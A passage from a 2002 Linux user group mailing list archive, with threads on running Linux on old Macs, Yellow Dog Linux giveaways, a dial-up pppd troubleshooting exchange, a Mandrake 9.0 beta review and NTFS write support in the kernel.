Macintosh's ... I would like to > point out that yellow dog will not run on these machines, BUT > > m68k linux (debian has a nice install) > mkLinux (actually made by apple) > and > http://www.mac.linux-m68k.org/ (is a great primer) > > or if you want to see what the other team is up to ... > > http://www.netbsd.org/Ports/mac68k/ > > These things are basically good for terminals and for the "wow" classic > factor. They are all capable of running as a server and they are all > capable of just about anything (it just runs a bit slower). > > Right now my server farm is the following > > 3 (old macs ...) > 1 (486 DX2 66mhz) > 1 (486 K6-2) > > All of them have apache, samba, and ssh running on them. And they all > have a certain purpose. One mac for hosting a nethack server ... one > mac to accept incoming connections and log them (you'd be real surprise= d > what people run on a campus network) ... and the other one just sorta > sits there ... it does run console based tetris ... so it's not > completely unused ... > > The 486 actually serves as a router ... with 24 megs of ram (yes ... > that's 24) the whole OS is stored into the ram and it actually works > quite well. The 450 mhz is of course a Counter Strike server :-). > > But don't just assume that old hardware is useless. I've known people > who've run entire corperate-like (heheheh I don't count a company with = 4 > people as a corperation ...) on a IBM 233mhz thinkpad with docking > station ... for real ... > > SuperDuG > > PS - Who wants to list their home beowulf clusters ... right now I'm > leaving out 2 desktops and 2 laptops ... > > On 08-06-2002 04:48 pm, you wrote: > > As the developers of Yellow Dog Linux for PowerPC computers, we > > routinely find ourselves with an abundance of once-removed versions > > of YDL. As our primary users are Apple Macintosh owners, we are > > eager to support your members who own old and new Apple hardware > > alike. > > > > In particular, we believe YDL offers a unique opportunity for older > > Macs. As Apple is now focused on Mac OS X and will in the > > not-so-distant future no longer support classic Mac OS, YDL stands > > as a modern, supported, fast, and highly flexible OS that supports > > systems as old as 7200s. > > > > As graphical desktop for home or office (Yes! Linux has a powerful > > GUI), an email/ftp/web server, or code development workstation, YDL > > now offers over 1,000 packages. You can learn more about YDL at > > http://www.yellowdoglinux.com/ and get involved by subscribing to > > the Announce and General Mailing lists at > > http://lists.yellowdoglinux.com/ where we maintain a very active, > > supportive community. > > > > Now down to business ... we have in-house YDL 2.1 CDs (no longer a > > shipping product ) and are ready to find anew home. If you want to > > receive some let us know if you are interested with a response to > > this email and answers to the following questions: > > > > complete name of user group- > > > > primary contact- > > > > phone & email - > > > > mailing address- > > > > number of users in group- > > > > frequency of meetings- > > > > preferred number of copies of YDL > > > > Looking forward to hearing from you soon as the CDs are going to go > > quickly. > > > > Sincerely, > > Amanda Wolf > > Terra Soft Solutions > > > > > > > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux linux is life From superdug@dugnet.com Wed Aug 07 23:25:09 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 4466 invoked by uid 1051); 7 Aug 2002 23:25:08 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 7 Aug 2002 23:25:08 -0000 Received: (qmail 27743 invoked by uid 0); 7 Aug 2002 23:25:13 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 7 Aug 2002 23:25:13 -0000 Received: (qmail 18728 invoked by uid 0); 7 Aug 2002 23:25:09 -0000 Received: from unknown (HELO superdug) (66.188.101.236) by dugnet.com with SMTP; 7 Aug 2002 23:25:09 -0000 From: "Doug Smith" To: Date: Wed, 7 Aug 2002 18:15:21 -0600 Message-ID: <000f01c23e70$afa39db0$ec65bc42@dugnet.org> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Outlook, Build 10.0.2616 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 Importance: High Subject: [QCLUG] Found this ... Actually quite interesting ... X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 07 Aug 2002 23:25:09 -0000 Well I got an off list email and I didn't think it would be appropriate to the author to forward the email to the list, but I did find this link from the email that I figured would be of benefit to quite a few of the people on this list. http://www.yellowdoglinux.com/support/hardware/breakdown/60x.shtml Seems yellow dog is going to start supporting NuBus based Mac's. Since most all of you who received a mac from Noah got NuBus based machines, from what I heard there were very few others. I would say that this link would be a good thing. While I have been more impressed with Mandrake on higher end macs, I know for a fact that I would pick yellowdog anyday over m68k linux ports (nothing against debian, but the install is pretty darned bad). I think it would be fair to state why I like Mandrake over YellowDog. First off I didn't buy either versions, so that means that I was using an older version of YellowDog and a Beta version of Mandrake. The other thing you all need to realize is that I came to Linux on a Mac from a Linux on a PC experience. I didn't go from MacOS to Linux ... Now I do have to say that the user interface for Mac OS X is far greater than anything available for linux today, though KDE 3 is getting closer, while gnome ... Stays gnomeish. YellowDog installs rather easily, as does mandrake for that matter. They both use RPM's (and they both really only like RPM's designed for their distro ... Erm not that RPM's aren't standard) Upgrading packages for mandrake seemed to run a whole lot more smoothly than with yellowdog, because mandrake doesn't have dependency problems because it installs everything it can think of (doing a full install ...). After install both distros seem to hold out as rather nice linux systems, but it was the file dependencies for YellowDog and the older versioned programs that made me choose mandrake over yellowdog. I just didn't think it was fair to say "I like mandrake better" than to not justify why. Also I would like to note that I don't own a Mac, so the Mac I did all this installing on I used for about 5 days, and that was it. So I don't have a whole lot of real world experience with either of them. Basically I would suggest the following to anyone who was planning on going to a PC to a Mac with linux. Get a 3 button mouse. Seriously ... If I could provide one bit of advice a threebutton mouse would be it ... That's all, SuperDuG From gentoo@mchsi.com Thu Aug 08 16:15:25 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 6820 invoked by uid 1051); 8 Aug 2002 16:15:25 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 8 Aug 2002 16:15:25 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020808161520.PDOF23220.sccmmhc01.mchsi.com@laptop> for ; Thu, 8 Aug 2002 16:15:20 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Thu, 8 Aug 2002 11:08:24 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208081108.25294.gentoo@mchsi.com> Subject: [QCLUG] dial up help X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 08 Aug 2002 16:15:25 -0000 Anyone a dialup expert im using kppp once connected pppd dies unexpectedl= y=20 with error 1 (internal error) ethernet works fine . ? I have had little experiance setting up dailup connections. i only did it= once=20 in kppp on mandrake linux with this same account and it worked perfect .=20 -- life is linux=20 linux is life=20 From gray@cns.uni.edu Thu Aug 08 17:16:46 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7078 invoked by uid 1051); 8 Aug 2002 17:16:46 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 8 Aug 2002 17:16:46 -0000 Received: (qmail 29494 invoked by uid 2041); 8 Aug 2002 17:16:45 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 8 Aug 2002 17:16:45 -0000 Date: Thu, 8 Aug 2002 12:16:45 -0500 (CDT) From: Paul Gray To: Subject: Re: [QCLUG] dial up help In-Reply-To: <200208081108.25294.gentoo@mchsi.com> Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Mailman-Approved-At: Thu, 08 Aug 2002 17:25:09 -0000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 08 Aug 2002 17:16:46 -0000 On Thu, 8 Aug 2002, Noah Justin Norris wrote: > Anyone a dialup expert im using kppp once connected pppd dies unexpectedly > with error 1 (internal error) ethernet works fine . ? > > I have had little experiance setting up dailup connections. i only did it once > in kppp on mandrake linux with this same account and it worked perfect . Check the permissions on pppd. Can you run it as a user? Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From gentoo@mchsi.com Thu Aug 08 17:50:27 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7282 invoked by uid 1051); 8 Aug 2002 17:50:27 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 8 Aug 2002 17:50:27 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020808175030.VVPL7903.sccmmhc02.mchsi.com@laptop> for ; Thu, 8 Aug 2002 17:50:30 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] dial up help Date: Thu, 8 Aug 2002 12:43:12 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208081243.12874.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 08 Aug 2002 17:50:27 -0000 hmm i will check that but it does the same thing as root to ? On Thursday 08 August 2002 05:16 pm, Paul Gray wrote: > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > Anyone a dialup expert im using kppp once connected pppd dies > > unexpectedly with error 1 (internal error) ethernet works fine . ? > > > > I have had little experiance setting up dailup connections. i only di= d it > > once in kppp on mandrake linux with this same account and it worked > > perfect . > > Check the permissions on pppd. Can you run it as a user? > > Paul Gray -o) > 323 Wright Hall /\\ > University of Northern Iowa _\_V > Message void if penguin violated ... Don't mess with the penguin > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From gray@cns.uni.edu Thu Aug 08 18:27:02 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7454 invoked by uid 1051); 8 Aug 2002 18:27:02 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 8 Aug 2002 18:27:02 -0000 Received: (qmail 30181 invoked by uid 2041); 8 Aug 2002 18:27:01 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 8 Aug 2002 18:27:01 -0000 Date: Thu, 8 Aug 2002 13:27:01 -0500 (CDT) From: Paul Gray To: Subject: Re: [QCLUG] dial up help In-Reply-To: <200208081243.12874.gentoo@mchsi.com> Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 08 Aug 2002 18:27:02 -0000 Then, syslog (or /var/log/messages on RH) should have error messages indicating as to why pppd hangs up on you. On Thu, 8 Aug 2002, Noah Justin Norris wrote: > hmm i will check that but it does the same thing as root to ? > > On Thursday 08 August 2002 05:16 pm, Paul Gray wrote: > > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > > Anyone a dialup expert im using kppp once connected pppd dies > > > unexpectedly with error 1 (internal error) ethernet works fine . ? > > > > > > I have had little experiance setting up dailup connections. i only did it > > > once in kppp on mandrake linux with this same account and it worked > > > perfect . > > > > Check the permissions on pppd. Can you run it as a user? > > > > Paul Gray -o) > > 323 Wright Hall /\\ > > University of Northern Iowa _\_V > > Message void if penguin violated ... Don't mess with the penguin > > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > -- > life is linux > linux is life > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From gentoo@mchsi.com Fri Aug 09 00:12:21 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8659 invoked by uid 1051); 9 Aug 2002 00:12:21 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 9 Aug 2002 00:12:21 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020809001224.YQHY7903.sccmmhc02.mchsi.com@laptop> for ; Fri, 9 Aug 2002 00:12:24 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] dial up help Date: Thu, 8 Aug 2002 19:05:25 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208081905.25227.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 09 Aug 2002 00:12:21 -0000 i got ppp to work had to mess with gentoo net.ppp0 run it ( it modifies = chap=20 and pap) but still why cant kde's kppp modify these files like in mandrak= e. ? im happy it works :) though On Thursday 08 August 2002 06:27 pm, Paul Gray wrote: > Then, syslog (or /var/log/messages on RH) should have error messages > indicating as to why pppd hangs up on you. > > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > hmm i will check that but it does the same thing as root to ? > > > > On Thursday 08 August 2002 05:16 pm, Paul Gray wrote: > > > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > > > Anyone a dialup expert im using kppp once connected pppd dies > > > > unexpectedly with error 1 (internal error) ethernet works fine . = ? > > > > > > > > I have had little experiance setting up dailup connections. i onl= y > > > > did it once in kppp on mandrake linux with this same account and = it > > > > worked perfect . > > > > > > Check the permissions on pppd. Can you run it as a user? > > > > > > Paul Gray -o) > > > 323 Wright Hall /\\ > > > University of Northern Iowa _\_V > > > Message void if penguin violated ... Don't mess with the penguin > > > No one ever says "Hey, I can't read that ASCII e-mail ya sent me.= " > > > > > > _______________________________________________ > > > QCLUG mailing list > > > QCLUG@qclug.org > > > http://qclug.org/mailman/listinfo/qclug > > > > -- > > life is linux > > linux is life > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > Paul Gray -o) > 323 Wright Hall /\\ > University of Northern Iowa _\_V > Message void if penguin violated ... Don't mess with the penguin > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From gentoo@mchsi.com Fri Aug 09 03:36:36 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9098 invoked by uid 1051); 9 Aug 2002 03:36:36 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 9 Aug 2002 03:36:36 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020809033640.UWMY23220.sccmmhc01.mchsi.com@laptop> for ; Fri, 9 Aug 2002 03:36:40 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] dial up help Date: Thu, 8 Aug 2002 22:29:34 +0000 User-Agent: KMail/1.4.2 References: <200208081905.25227.gentoo@mchsi.com> In-Reply-To: <200208081905.25227.gentoo@mchsi.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208082229.34562.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 09 Aug 2002 03:36:37 -0000 at least it did work ..... anyone got any suggestions=20 On Thursday 08 August 2002 07:05 pm, Noah Justin Norris wrote: > i got ppp to work had to mess with gentoo net.ppp0 run it ( it modifie= s > chap and pap) but still why cant kde's kppp modify these files like in > mandrake. ? im happy it works :) though > > On Thursday 08 August 2002 06:27 pm, Paul Gray wrote: > > Then, syslog (or /var/log/messages on RH) should have error messages > > indicating as to why pppd hangs up on you. > > > > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > > hmm i will check that but it does the same thing as root to ? > > > > > > On Thursday 08 August 2002 05:16 pm, Paul Gray wrote: > > > > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > > > > Anyone a dialup expert im using kppp once connected pppd dies > > > > > unexpectedly with error 1 (internal error) ethernet works fine = =2E ? > > > > > > > > > > I have had little experiance setting up dailup connections. i o= nly > > > > > did it once in kppp on mandrake linux with this same account an= d it > > > > > worked perfect . > > > > > > > > Check the permissions on pppd. Can you run it as a user? > > > > > > > > Paul Gray -o) > > > > 323 Wright Hall /\\ > > > > University of Northern Iowa _\_V > > > > Message void if penguin violated ... Don't mess with the pengu= in > > > > No one ever says "Hey, I can't read that ASCII e-mail ya sent m= e." > > > > > > > > _______________________________________________ > > > > QCLUG mailing list > > > > QCLUG@qclug.org > > > > http://qclug.org/mailman/listinfo/qclug > > > > > > -- > > > life is linux > > > linux is life > > > _______________________________________________ > > > QCLUG mailing list > > > QCLUG@qclug.org > > > http://qclug.org/mailman/listinfo/qclug > > > > Paul Gray -o) > > 323 Wright Hall /\\ > > University of Northern Iowa _\_V > > Message void if penguin violated ... Don't mess with the penguin > > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From gray@cns.uni.edu Fri Aug 09 15:43:13 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 10606 invoked by uid 1051); 9 Aug 2002 15:43:13 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 9 Aug 2002 15:43:13 -0000 Received: (qmail 5676 invoked by uid 2041); 9 Aug 2002 15:43:14 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 9 Aug 2002 15:43:14 -0000 Date: Fri, 9 Aug 2002 10:43:14 -0500 (CDT) From: Paul Gray To: Subject: Re: [QCLUG] dial up help In-Reply-To: <200208082229.34562.gentoo@mchsi.com> Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 09 Aug 2002 15:43:13 -0000 On Thu, 8 Aug 2002, Noah Justin Norris wrote: > at least it did work ..... anyone got any suggestions > suggestions for what, exactly? Your message doesn't make sense when you say that it works, and request suggestions too. Are you asking what to do to get kppp to modify static files ala Mandrake in Gentoo? Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From superdug@dugnet.com Fri Aug 09 17:05:53 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 11285 invoked by uid 1051); 9 Aug 2002 17:05:53 -0000 Received: from unknown (HELO hedwig.iticom.net) (64.127.64.16) by 0 with SMTP; 9 Aug 2002 17:05:53 -0000 Received: (qmail 9484 invoked by uid 0); 9 Aug 2002 17:05:56 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 9 Aug 2002 17:05:56 -0000 Received: (qmail 16149 invoked by uid 0); 9 Aug 2002 17:05:53 -0000 Received: from unknown (HELO smtp.dugnet.com) (216.85.211.12) by dugnet.com with SMTP; 9 Aug 2002 17:05:53 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Fri, 9 Aug 2002 13:05:53 -0400 Date: Fri, 9 Aug 2002 13:05:53 -0400 To: qclug@qclug.org From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" Subject: [QCLUG] YellowDog Linux X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 09 Aug 2002 17:05:53 -0000 Well I feel a little dumb ... I guess YellowDog is not dying, they're havnig a huge resurgeance(sp?) .. http://www.cyrusoft.com/partners/index.html Basically says that cryusoft, the makers of the mulberry email client, opera the webbrowser, and yellowdog are all in a huge software alliance together. And now terrasoft is selling macs with linux on them, hehehehe now that's awesome. :-) For those of you who don't read slashdot every second ... http://apple.slashdot.org/article.pl?sid=02/08/09/1212207&mode=thread&tid=106 Maybe it's time to let yellow dog take another ride... Doug From superdug@dugnet.com Fri Aug 09 17:31:38 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 11507 invoked by uid 1051); 9 Aug 2002 17:31:38 -0000 Received: from unknown (HELO hedwig.iticom.net) (64.127.64.16) by 0 with SMTP; 9 Aug 2002 17:31:38 -0000 Received: (qmail 11701 invoked by uid 0); 9 Aug 2002 17:31:45 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 9 Aug 2002 17:31:45 -0000 Received: (qmail 31715 invoked by uid 0); 9 Aug 2002 17:31:32 -0000 Received: from unknown (HELO smtp.dugnet.com) (216.85.211.12) by dugnet.com with SMTP; 9 Aug 2002 17:31:30 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Fri, 9 Aug 2002 13:31:28 -0400 Date: Fri, 9 Aug 2002 13:31:28 -0400 To: qclug@qclug.org From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" Subject: [QCLUG] Mandrake 9.0 Beta 2 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 09 Aug 2002 17:31:39 -0000 Okay well I was really tired of having a windows only laptop, and with a little disagreement with debian (the stock kernel really doesn't like my pcmcia ... at all), I decided that I should go with what I know works. Previously the laptop had Mandrake 6.0 and beyond, redhat until 7.0 when the installer freezes for some weird reason, corel, debian, free/open/and netbsd's, and qnx. Basically I know this laptops hardware in and out. A little note for the debian ... what I usually have to do is install from a cd and get the base along with a vanilla source kernel and compile my own kernel ... which also means that I can't use a packaged kernel (can't really figure out what is wrong with the packaged kernel as opposed to my vanilla). And Debian is a real pain because you have to configure everything (which isn't hard now that I have a backup disk with the XFree, inet, and cron jobs conf's), but for some reason everytime I go into testing or unstable something always breaks and it takes hours to fix. So I decided to try something new, but old at the same time ... Mandrake 9.0 Beta 2. The installer is very simple as usual, but gives you enough control to customize the system. I did a recommended install with standard security, but there's expert mode as well as 4 other security settings. I did set it to paranoid ... that was weird, when logged in as a user the I couldn't go anywhere in the file base except my home directory and the only way to get root was to su root. All services were shut down, and it was a very boring system, but did seem secure from the outside. I decided to go nuts and just install about everything. Comes complete with KDE3, Xine (that plays dvd's ...), as well as every other major program that is out there. The only thing that I couldn't find was an office suite other than KOffice, but that's because you're supposed to be a member of the mandrake club and get star office. The only problem I ran into was when I setup the dual boot, mandrake somehow managed to park an extended partition in the first cylindar on the HD and then my primary partitions went from 4 to 3, so NTLoader was loading the wrong freekin partition (fixing that was not what I'd like to call fun). Word to the wise, if you are insistant on using NTFS for windows, be prepared to answer this questions ... if windows dies ... what do you do??? there aren't ANY rescue disks for NTFS and linux can only READ ntfs. Basically to save an install you have to make another install (yes it's possible to have 2 instances of win2k on one harddrive ..) Anyways ... I would reccomend Mandrake 9.0 if you want the latest and greatest and want as little amount of work possible ... Doug From stephen@revealed.net Fri Aug 09 17:46:51 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 11589 invoked by uid 1051); 9 Aug 2002 17:46:51 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 9 Aug 2002 17:46:51 -0000 Received: (qmail 14515 invoked by uid 1008); 9 Aug 2002 17:35:05 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 9 Aug 2002 17:35:05 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] Mandrake 9.0 Beta 2 Date: Fri, 9 Aug 2002 12:43:50 -0500 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <02080912435001.03170@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: roadkill-ml@darktraveler.com, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 09 Aug 2002 17:46:52 -0000 > The only problem I ran into was when I setup the dual boot, mandrake > somehow managed to park an extended partition in the first cylindar on > the HD and then my primary partitions went from 4 to 3, so NTLoader was > loading the wrong freekin partition (fixing that was not what I'd like > to call fun). Word to the wise, if you are insistant on using NTFS for > windows, be prepared to answer this questions ... if windows dies ... > what do you do??? there aren't ANY rescue disks for NTFS and linux can > only READ ntfs. Basically to save an install you have to make another > install (yes it's possible to have 2 instances of win2k on one harddrive > ..) Anyways ... I would reccomend Mandrake 9.0 if you want the latest > and greatest and want as little amount of work possible ... Actually that's not quite accurate, you can only "safely" read NTFS from linux.. But in a pinch, take a chance.. These is the option to add RW support for NTFS in the linux kernel source (at least in mine 2.4.18) I haven't actually followed this project much... But I'm sure NTFS RW for things newer than NT4 is probably already there, or soon to be. Though I'm sure it will still be listed as dangerous.....(isn't everything M$ dangerous though? hehe) If i'm not mistaken you have to turn on "Prompt for development and/or incomplete code/drivers" in your kernel before turnning on the READ NTFS option, and then you will be able to acccess the NTFS write support module NTFS write support (DANGEROUS) CONFIG_NTFS_RW: If you say Y here, you will (maybe) be able to write to NTFS file systems as well as read from them. The read-write support in NTFS is far from being complete and is not well tested. If you say Y here, back up your NTFS volume first, since it will probably get damaged. Also, download the Linux-NTFS project distribution from Sourceforge at and always run the included ntfsfix utility after writing to an NTFS partition from Linux to fix some of the damage done by the driver. You should run ntfsfix _after_ unmounting the partition in Linux but _before_ rebooting into Windows. When Windows next boots, chkdsk will be run automatically to fix the remaining damage. Please note that write support is limited to Windows NT4 and earlier versions. Roadkill the Avatar of Misfortune From superdug@dugnet.com Fri Aug 09 17:55:05 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 11641 invoked by uid 1051); 9 Aug 2002 17:55:05 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 9 Aug 2002 17:55:05 -0000 Received: (qmail 6198 invoked by uid 0); 9 Aug 2002 17:55:12 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 9 Aug 2002 17:55:12 -0000 Received: (qmail 13212 invoked by uid 0); 9 Aug 2002 17:55:08 -0000 Received: from unknown (HELO smtp.dugnet.com) (216.85.211.12) by dugnet.com with SMTP; 9 Aug 2002 17:55:08 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Fri, 9 Aug 2002 13:55:07 -0400 Date: Fri, 9 Aug 2002 13:55:07 -0400 To: roadkill-ml@darktraveler.com, qclug@qclug.org Subject: Re: [QCLUG] Mandrake 9.0 Beta 2 From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 09 Aug 2002 17:55:05 -0000 > Actually that's not quite accurate, you can only "safely" read NTFS from > linux.. But in a pinch, take a chance.. These is the option to add RW > support for NTFS in the linux kernel source (at least in mine 2.4.18) > > I haven't actually followed this project much... But I'm sure NTFS RW for > things newer than NT4 is probably already there, or soon to be. Though I'm > sure it will still be listed as dangerous.....(isn't everything M$ dangerous > though? hehe) > > If i'm not mistaken you have to turn on > "Prompt for development and/or incomplete code/drivers" > in your kernel before turnning on the READ NTFS option, and then you will be > able to acccess the NTFS write support module *gasp* ... okay well I guess that it would be "possible" but there was a sense of actually wanting to save the parition ... all my backups were there. I did use NTFS read to actually 